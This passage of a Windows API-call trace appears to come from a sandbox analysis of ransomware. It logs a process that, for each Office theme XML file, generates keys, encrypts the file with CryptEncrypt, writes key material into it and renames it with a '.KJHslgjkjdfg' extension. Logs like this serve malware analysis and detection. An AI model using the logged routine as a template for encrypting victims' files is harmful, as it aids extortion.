lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.686] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.686] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.686] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.686] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.686] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.686] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3c0, lpOverlapped=0x0) returned 1 [0220.686] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c0) returned 1 [0220.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.686] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3c0, lpOverlapped=0x0) returned 1 [0220.686] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.687] SetEndOfFile (hFile=0x130) returned 1 [0220.689] GetProcessHeap () returned 0x990000 [0220.689] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0220.689] GetProcessHeap () returned 0x990000 [0220.689] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml.kjhslgjkjdfg")) returned 1 [0220.690] CloseHandle (hObject=0x130) returned 1 [0220.690] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0220.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.691] GetProcessHeap () returned 0x990000 [0220.691] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.691] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.691] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0220.694] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.694] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.694] GetProcessHeap () returned 0x990000 [0220.694] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.694] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0220.694] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.694] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0220.694] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.694] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.694] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.694] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.694] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.694] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.694] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x39e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x39e, lpOverlapped=0x0) returned 1 [0220.694] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a0) returned 1 [0220.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.695] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3a0, lpOverlapped=0x0) returned 1 [0220.695] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.695] SetEndOfFile (hFile=0x130) returned 1 [0220.697] GetProcessHeap () returned 0x990000 [0220.697] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.697] GetProcessHeap () returned 0x990000 [0220.697] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml.kjhslgjkjdfg")) returned 1 [0220.698] CloseHandle (hObject=0x130) returned 1 [0220.698] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1 [0220.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.700] GetProcessHeap () returned 0x990000 [0220.700] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.700] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.700] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.700] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0220.703] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.703] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.703] GetProcessHeap () returned 0x990000 [0220.703] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.703] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0220.703] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.703] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0220.703] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.703] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.703] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.703] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.704] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.704] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.704] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3c4, lpOverlapped=0x0) returned 1 [0220.704] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0) returned 1 [0220.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.704] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3d0, lpOverlapped=0x0) returned 1 [0220.704] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.704] SetEndOfFile (hFile=0x130) returned 1 [0220.707] GetProcessHeap () returned 0x990000 [0220.707] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.707] GetProcessHeap () returned 0x990000 [0220.707] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.707] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml.kjhslgjkjdfg")) returned 1 [0220.709] CloseHandle (hObject=0x130) returned 1 [0220.709] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1 [0220.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.710] GetProcessHeap () returned 0x990000 [0220.710] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.710] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.710] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0220.716] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.716] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.716] GetProcessHeap () returned 0x990000 [0220.716] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.716] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0220.716] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.716] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0220.716] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.716] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.716] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.716] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.717] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.717] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.717] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3c4, lpOverlapped=0x0) returned 1 [0220.717] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0) returned 1 [0220.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.717] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3d0, lpOverlapped=0x0) returned 1 [0220.717] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.717] SetEndOfFile (hFile=0x130) returned 1 [0220.720] GetProcessHeap () returned 0x990000 [0220.720] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.720] GetProcessHeap () returned 0x990000 [0220.720] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.720] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml.kjhslgjkjdfg")) returned 1 [0220.722] CloseHandle (hObject=0x130) returned 1 [0220.722] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c23400, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12c23400, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0220.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.724] GetProcessHeap () returned 0x990000 [0220.724] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.724] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.724] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0220.727] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.727] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.727] GetProcessHeap () returned 0x990000 [0220.727] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.727] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0220.727] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.727] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0220.727] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.727] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.728] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.728] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.728] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.728] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.728] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3c2, 